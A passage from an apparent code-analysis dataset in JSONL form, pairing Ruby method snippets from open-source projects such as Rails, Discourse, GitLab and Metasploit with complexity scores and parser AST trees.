supported\"]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"container_protection_tag_rule\"]},\"update\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"slice\",{\"type\":\"splat\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ALLOWED_ATTRIBUTES\"]}]}]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"service_response_error\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"container_protection_tag_rule\"]},\"errors\"]},\"full_messages\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ServiceResponse\"]},\"success\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"container_protection_tag_rule\"]},{\"type\":\"send\",\"children\":[null,\"container_protection_tag_rule\"]}]}]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[null,\"service_response_error\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]}]}]}]},null]}]}","id":"ba9e21b5-d81f-45ef-b8cd-5008ee38651f"}
+{"repo_name":"zeitwerk","file_path":"./repos/zeitwerk/lib/zeitwerk/gem_inflector.rb","start_line":13,"raw_source":"def camelize(basename, abspath)\n abspath == @version_file ? \"VERSION\" : super\n end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"camelize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"basename\"]},{\"type\":\"arg\",\"children\":[\"abspath\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"abspath\"]},\"==\",{\"type\":\"ivar\",\"children\":[\"@version_file\"]}]},{\"type\":\"str\",\"children\":[\"VERSION\"]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"a0c324f9-a7c7-4352-b33c-1b8f1ba35b1d"}
+{"repo_name":"discourse","file_path":"./repos/discourse/lib/seed_data/categories.rb","start_line":193,"raw_source":"def update_category(site_setting_name:, name:, description:, skip_changed:)\n category = find_category(site_setting_name)\n return if !category || (skip_changed && !unchanged?(category))\n\n name = unused_category_name(category.id, name)\n category.name = name\n category.slug = Slug.for(name, \"\")\n category.save!\n\n if description.present? && description_post = category&.topic&.first_post\n changes = { title: I18n.t(\"category.topic_prefix\", category: name), raw: description }\n description_post.revise(Discourse.system_user, changes, skip_validations: true)\n end\n end","complexity_score":27.7,"ast_json":"{\"type\":\"def\",\"children\":[\"update_category\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"site_setting_name\"]},{\"type\":\"kwarg\",\"children\":[\"name\"]},{\"type\":\"kwarg\",\"children\":[\"description\"]},{\"type\":\"kwarg\",\"children\":[\"skip_changed\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"category\",{\"type\":\"send\",\"children\":[null,\"find_category\",{\"type\":\"lvar\",\"children\":[\"site_setting_name\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"category\"]},\"!\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"skip_changed\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"unchanged?\",{\"type\":\"lvar\",\"children\":[\"category\"]}]},\"!\"]}]}]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"name\",{\"type\":\"send\",\"children\":[null,\"unused_category_name\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"category\"]},\"id\"]},{\"type\":\"lvar\",\"children\":[\"name\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"category\"]},\"name=\",{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"category\"]},\"slug=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Slug\"]},\"for\",{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"category\"]},\"save!\"]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"description\"]},\"present?\"]},{\"type\":\"lvasgn\",\"children\":[\"description_post\",{\"type\":\"csend\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"category\"]},\"topic\"]},\"first_post\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"changes\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"category.topic_prefix\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"category\"]},{\"type\":\"lvar\",\"children\":[\"name\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"raw\"]},{\"type\":\"lvar\",\"children\":[\"description\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"description_post\"]},\"revise\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"system_user\"]},{\"type\":\"lvar\",\"children\":[\"changes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"skip_validations\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},null]}]}]}","id":"0b777784-1f18-4629-a8b5-4a72cbd16e9d"}
+{"repo_name":"openproject","file_path":"./repos/openproject/app/helpers/stimulus_helper.rb","start_line":33,"raw_source":"def content_controller(name, **data)\n @stimulus_content_data = data\n .merge({ controller: name })\n end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"content_controller\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"kwrestarg\",\"children\":[\"data\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@stimulus_content_data\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"controller\"]},{\"type\":\"lvar\",\"children\":[\"name\"]}]}]}]}]}]}","id":"9c057877-7877-4880-bdd4-39827ae9cbb3"}
+{"repo_name":"chatwoot","file_path":"./repos/chatwoot/lib/integrations/slack/incoming_message_builder.rb","start_line":70,"raw_source":"def process_message_payload?\n thread_timestamp_available? && supported_message? && integration_hook\n end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"process_message_payload?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"thread_timestamp_available?\"]},{\"type\":\"send\",\"children\":[null,\"supported_message?\"]}]},{\"type\":\"send\",\"children\":[null,\"integration_hook\"]}]}]}","id":"d8ce2b31-4ecf-475e-971d-eeb27cbfa95f"}
+{"repo_name":"forem","file_path":"./repos/forem/app/controllers/users_controller.rb","start_line":348,"raw_source":"def destroy_request_in_progress?\n Rails.cache.exist?(\"user-destroy-token-#{@user.id}\")\n end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"destroy_request_in_progress?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"cache\"]},\"exist?\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"user-destroy-token-\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@user\"]},\"id\"]}]}]}]}]}","id":"cda2ba00-97d3-4696-9e04-2199941c0fae"}
+{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/tools/payloads/ysoserial/find_ysoserial_offsets.rb","start_line":107,"raw_source":"def buffer_offset?(current_byte, next_byte)\n # If this byte has been inserted, then it must be part of the increasingly large payload buffer\n if (current_byte.action == '+' && (next_byte.nil? || (current_byte.position != next_byte.position)))\n return true\n end\n\n false\nend","complexity_score":10.7,"ast_json":"{\"type\":\"def\",\"children\":[\"buffer_offset?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"current_byte\"]},{\"type\":\"arg\",\"children\":[\"next_byte\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"current_byte\"]},\"action\"]},\"==\",{\"type\":\"str\",\"children\":[\"+\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"next_byte\"]},\"nil?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"current_byte\"]},\"position\"]},\"!=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"next_byte\"]},\"position\"]}]}]}]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]},null]},{\"type\":\"false\",\"children\":[]}]}]}","id":"9dfc84df-caca-4316-91df-ba6e6a81cedc"}
+{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/associations/has_many_associations_test.rb","start_line":1370,"raw_source":"def test_counter_cache_updates_in_memory_after_create\n topic = Topic.create title: \"Zoom-zoom-zoom\"\n\n topic.replies.create!(title: \"re: zoom\", content: \"speedy quick!\")\n assert_equal 1, topic.replies_count\n assert_equal 1, topic.replies.size\n assert_equal 1, topic.reload.replies.size\n end","complexity_score":16.1,"ast_json":"{\"type\":\"def\",\"children\":[\"test_counter_cache_updates_in_memory_after_create\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"topic\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"create\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"str\",\"children\":[\"Zoom-zoom-zoom\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"replies\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"str\",\"children\":[\"re: zoom\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"content\"]},{\"type\":\"str\",\"children\":[\"speedy quick!\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[1]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"replies_count\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[1]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"replies\"]},\"size\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[1]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"reload\"]},\"replies\"]},\"size\"]}]}]}]}","id":"0a8b4609-bd1b-47bb-a87d-6ae2a93d63f7"}
+{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/connection_adapters/postgresql/quoting.rb","start_line":46,"raw_source":"def quote_column_name(name) # :nodoc:\n QUOTED_COLUMN_NAMES[name] ||= PG::Connection.quote_ident(name.to_s).freeze\n end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"quote_column_name\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"QUOTED_COLUMN_NAMES\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PG\"]},\"Connection\"]},\"quote_ident\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"to_s\"]}]},\"freeze\"]}]}]}","id":"77536a01-e03c-43bb-8c1b-b0ac1a0b13a3"}
+{"repo_name":"openproject","file_path":"./repos/openproject/modules/overviews/db/migrate/20250923120330_remove_news_beta_widgets.rb","start_line":42,"raw_source":"def remove_news_beta_widgets\n execute <<-SQL.squish\n DELETE FROM grid_widgets\n WHERE identifier = 'news_beta'\n SQL\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"remove_news_beta_widgets\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\" DELETE FROM grid_widgets\\n\"]},{\"type\":\"str\",\"children\":[\" WHERE identifier = 'news_beta'\\n\"]}]},\"squish\"]}]}]}","id":"15502d3b-b667-4dc4-8a1d-941c904b578a"}
+{"repo_name":"openproject","file_path":"./repos/openproject/app/mailers/sharing_mailer.rb","start_line":35,"raw_source":"def shared_work_package(sharer, membership, group = nil)\n @sharer = sharer\n @shared_with_user = membership.principal\n @invitation_token = @shared_with_user.invited? ? @shared_with_user.invitation_token : nil\n @group = group\n @work_package = membership.entity\n\n role = membership.roles.first\n @role_rights = derive_role_rights(role)\n @allowed_work_package_actions = derive_allowed_work_package_actions(role)\n @url = optionally_activated_url(work_package_url(@work_package.id), @invitation_token)\n @notification_url = optionally_activated_url(details_notifications_url(@work_package.id, tab: :activity), @invitation_token)\n\n set_open_project_headers(@work_package)\n message_id(membership, sharer)\n\n send_localized_mail(@shared_with_user) do\n I18n.t(\"mail.sharing.work_packages.subject\", id: @work_package.id)\n end\n end","complexity_score":33.9,"ast_json":"{\"type\":\"def\",\"children\":[\"shared_work_package\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"sharer\"]},{\"type\":\"arg\",\"children\":[\"membership\"]},{\"type\":\"optarg\",\"children\":[\"group\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@sharer\",{\"type\":\"lvar\",\"children\":[\"sharer\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@shared_with_user\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"membership\"]},\"principal\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@invitation_token\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@shared_with_user\"]},\"invited?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@shared_with_user\"]},\"invitation_token\"]},{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@group\",{\"type\":\"lvar\",\"children\":[\"group\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@work_package\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"membership\"]},\"entity\"]}]},{\"type\":\"lvasgn\",\"children\":[\"role\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"membership\"]},\"roles\"]},\"first\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@role_rights\",{\"type\":\"send\",\"children\":[null,\"derive_role_rights\",{\"type\":\"lvar\",\"children\":[\"role\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@allowed_work_package_actions\",{\"type\":\"send\",\"children\":[null,\"derive_allowed_work_package_actions\",{\"type\":\"lvar\",\"children\":[\"role\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@url\",{\"type\":\"send\",\"children\":[null,\"optionally_activated_url\",{\"type\":\"send\",\"children\":[null,\"work_package_url\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@work_package\"]},\"id\"]}]},{\"type\":\"ivar\",\"children\":[\"@invitation_token\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@notification_url\",{\"type\":\"send\",\"children\":[null,\"optionally_activated_url\",{\"type\":\"send\",\"children\":[null,\"details_notifications_url\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@work_package\"]},\"id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"tab\"]},{\"type\":\"sym\",\"children\":[\"activity\"]}]}]}]},{\"type\":\"ivar\",\"children\":[\"@invitation_token\"]}]}]},{\"type\":\"send\",\"children\":[null,\"set_open_project_headers\",{\"type\":\"ivar\",\"children\":[\"@work_package\"]}]},{\"type\":\"send\",\"children\":[null,\"message_id\",{\"type\":\"lvar\",\"children\":[\"membership\"]},{\"type\":\"lvar\",\"children\":[\"sharer\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"send_localized_mail\",{\"type\":\"ivar\",\"children\":[\"@shared_with_user\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"mail.sharing.work_packages.subject\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@work_package\"]},\"id\"]}]}]}]}]}]}]}","id":"6181c694-207c-47fb-8a3e-846367574896"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/build/artifacts/metadata.rb","start_line":105,"raw_source":"def read_uint32(gz)\n binary = gz.read(4)\n binary.unpack1('L>') if binary\n end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"read_uint32\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"gz\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"binary\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"gz\"]},\"read\",{\"type\":\"int\",\"children\":[4]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"binary\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"binary\"]},\"unpack1\",{\"type\":\"str\",\"children\":[\"L>\"]}]},null]}]}]}","id":"0f52557f-0d5f-4143-a510-d502f67c2e7d"}
+{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/redundant_interpolation.rb","start_line":131,"raw_source":"def autocorrect_other(corrector, embedded_node, node)\n loc = node.loc\n embedded_loc = embedded_node.loc\n\n corrector.replace(loc.begin, '')\n corrector.replace(loc.end, '')\n corrector.replace(embedded_loc.begin, '(')\n corrector.replace(embedded_loc.end, ').to_s')\n end","complexity_score":12.8,"ast_json":"{\"type\":\"def\",\"children\":[\"autocorrect_other\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"corrector\"]},{\"type\":\"arg\",\"children\":[\"embedded_node\"]},{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"loc\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"loc\"]}]},{\"type\":\"lvasgn\",\"children\":[\"embedded_loc\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"embedded_node\"]},\"loc\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"corrector\"]},\"replace\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"loc\"]},\"begin\"]},{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"corrector\"]},\"replace\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"loc\"]},\"end\"]},{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"corrector\"]},\"replace\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"embedded_loc\"]},\"begin\"]},{\"type\":\"str\",\"children\":[\"(\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"corrector\"]},\"replace\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"embedded_loc\"]},\"end\"]},{\"type\":\"str\",\"children\":[\").to_s\"]}]}]}]}","id":"efe5aaa3-633b-4383-8464-8188622eb359"}
+{"repo_name":"discourse","file_path":"./repos/discourse/app/queries/reports/list_query.rb","start_line":39,"raw_source":"def description\n return I18n.t(\"reports.#{type}.description_legacy\") if legacy?\n I18n.t(\"reports.#{type}.description\", default: \"\").presence\n end","complexity_score":8.0,"ast_json":"{\"type\":\"def\",\"children\":[\"description\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"legacy?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"reports.\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"type\"]}]},{\"type\":\"str\",\"children\":[\".description_legacy\"]}]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"reports.\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"type\"]}]},{\"type\":\"str\",\"children\":[\".description\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]},\"presence\"]}]}]}","id":"457ded95-d8cc-449c-92cc-f9b2b618b03e"}
+{"repo_name":"fastlane","file_path":"./repos/fastlane/sigh/lib/sigh/module.rb","start_line":66,"raw_source":"def profile_type_for_distribution_type(platform:, distribution_type:)\n config = { distribution_type.to_sym => true }\n in_house = distribution_type == \"enterprise\"\n\n self.profile_type_for_config(platform: platform, in_house: in_house, config: config)\n end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"profile_type_for_distribution_type\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"platform\"]},{\"type\":\"kwarg\",\"children\":[\"distribution_type\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"config\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"distribution_type\"]},\"to_sym\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"in_house\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"distribution_type\"]},\"==\",{\"type\":\"str\",\"children\":[\"enterprise\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"profile_type_for_config\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"platform\"]},{\"type\":\"lvar\",\"children\":[\"platform\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"in_house\"]},{\"type\":\"lvar\",\"children\":[\"in_house\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"config\"]},{\"type\":\"lvar\",\"children\":[\"config\"]}]}]}]}]}]}","id":"216463af-6ce1-454c-b8ef-dd1324f7ad14"}
+{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/dispatch/permissions_policy_test.rb","start_line":29,"raw_source":"def test_multiple_directives_for_multiple_directives\n @policy.geolocation :self, \"https://example.com\"\n @policy.usb :none, \"https://example.com\"\n assert_equal \"geolocation 'self' https://example.com; usb 'none' https://example.com\", @policy.build\n end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_multiple_directives_for_multiple_directives\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@policy\"]},\"geolocation\",{\"type\":\"sym\",\"children\":[\"self\"]},{\"type\":\"str\",\"children\":[\"https://example.com\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@policy\"]},\"usb\",{\"type\":\"sym\",\"children\":[\"none\"]},{\"type\":\"str\",\"children\":[\"https://example.com\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"geolocation 'self' https://example.com; usb 'none' https://example.com\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@policy\"]},\"build\"]}]}]}]}","id":"d6a39ddc-457f-43c9-a3c3-faded0010373"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/gems/gitlab-backup-cli/lib/gitlab/backup/cli/tasks/terraform_state.rb","start_line":16,"raw_source":"def local\n Gitlab::Backup::Cli::Targets::Files.new(context, storage_path, excludes: ['tmp'])\n end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"local\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Backup\"]},\"Cli\"]},\"Targets\"]},\"Files\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"context\"]},{\"type\":\"send\",\"children\":[null,\"storage_path\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"excludes\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"tmp\"]}]}]}]}]}]}","id":"f615ea40-53c9-4fa5-855d-e4f6e55aa1ca"}
+{"repo_name":"mastodon","file_path":"./repos/mastodon/app/controllers/auth/confirmations_controller.rb","start_line":25,"raw_source":"def new\n super\n\n resource.email = current_user.unconfirmed_email || current_user.email if user_signed_in?\n end","complexity_score":10.5,"ast_json":"{\"type\":\"def\",\"children\":[\"new\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user_signed_in?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"resource\"]},\"email=\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"unconfirmed_email\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"email\"]}]}]},null]}]}]}","id":"9a3e3588-0157-43e0-8ca0-a285ddf682d9"}
+{"repo_name":"discourse","file_path":"./repos/discourse/app/services/push_notification_pusher.rb","start_line":68,"raw_source":"def self.clear_subscriptions(user)\n user.push_subscriptions.clear\n end","complexity_score":2.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"clear_subscriptions\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"push_subscriptions\"]},\"clear\"]}]}","id":"8e90f10a-2e35-47b5-9548-9b1af04352f8"}
